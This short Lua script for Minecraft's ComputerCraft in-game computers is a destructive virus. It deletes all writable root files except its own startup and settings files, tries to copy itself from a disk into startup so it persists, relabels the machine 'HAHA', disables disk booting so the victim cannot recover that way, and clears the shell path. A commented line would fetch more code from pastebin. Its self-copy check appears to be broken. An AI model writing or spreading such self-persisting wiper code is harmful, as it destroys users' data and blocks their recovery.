local function getRunningPath()
  local runningProgram = shell.getRunningProgram()
  local programName = fs.getName(runningProgram)
  return runningProgram:sub( 1, #runningProgram - #programName )
end

for k,v in pairs(fs.list("/")) do
  if not fs.isReadOnly(v) then
    if v ~= "startup" and  v ~= ".settings" and v ~= "disk" then
        fs.delete(v)
    end
  end
end
if getRunningPath() == "/disk/startup" then
    shell.run("cp /disk/startup /startup")
end

shell.run("label set HAHA")
settings.set("shell.allow_disk_startup","false")
settings.save("/.settings")
--shell.run("pastebin get cdYr6QvV startup")
shell.setPath("")